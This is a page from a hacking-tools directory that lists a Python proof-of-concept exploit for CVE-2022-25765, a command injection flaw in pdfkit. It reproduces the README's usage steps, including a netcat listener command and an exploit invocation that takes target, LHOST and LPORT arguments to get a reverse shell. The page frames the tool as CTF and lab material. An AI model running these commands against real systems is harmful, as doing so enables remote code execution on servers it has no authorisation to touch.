Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-25765 — Python proof-of-concept for CVE-2022-25765, a command injection vulnerability in pdfkit, enabling remote code execution via crafted PDF generation. | Kitploit
Tools/GitHubGitHub/innocentx0/cve-2022-25765
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & Education
GitHubinnocentx0/cve-2022-25765

CVE-2022-25765

Python proof-of-concept for CVE-2022-25765, a command injection vulnerability in pdfkit, enabling remote code execution via crafted PDF generation.

View Repository
16h 56m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-25765 — pdfkit

PoC for CVE-2022-25765, affecting vulnerable versions of pdfkit.

Tested with pdfkit 0.8.6.

Requirements

  • Python 3.x
  • requests
  • colorama

Install dependencies:

root@kitploit:~
pip3 install -r requirements.txt

Or manually:

root@kitploit:~
pip3 install requests colorama

Usage

root@kitploit:~
python3 exploit2.py -u <TARGET> -l <LHOST> -p <LPORT>

Example: Run a listener

root@kitploit:~
nc -lvnp 4242
root@kitploit:~
python3 exploit2.py -u http://10.10.10.10 -l 10.10.14.5 -p 4444

Setup

Clone the repository:

root@kitploit:~
git clone [email protected]:innocentx0/CVE-2022-25765.git
cd CVE-2022-25765

Install the requirements:

root@kitploit:~
pip3 install -r requirements.txt

Run the PoC against your lab target.

Vulnerability

CVE-2022-25765 is a command injection vulnerability in vulnerable versions of pdfkit.

The issue is related to insufficient sanitization of user-controlled input passed to the PDF generation process.

Notes

This PoC was made mainly for learning and CTF/lab environments.

If you're looking for a place to try it, Hack The Box : Machine: Precious.

Disclaimer

Use this only against systems you own or have explicit permission to test.

I am not responsible for misuse or damage caused by this project.


INNOCENTx0

Download Tool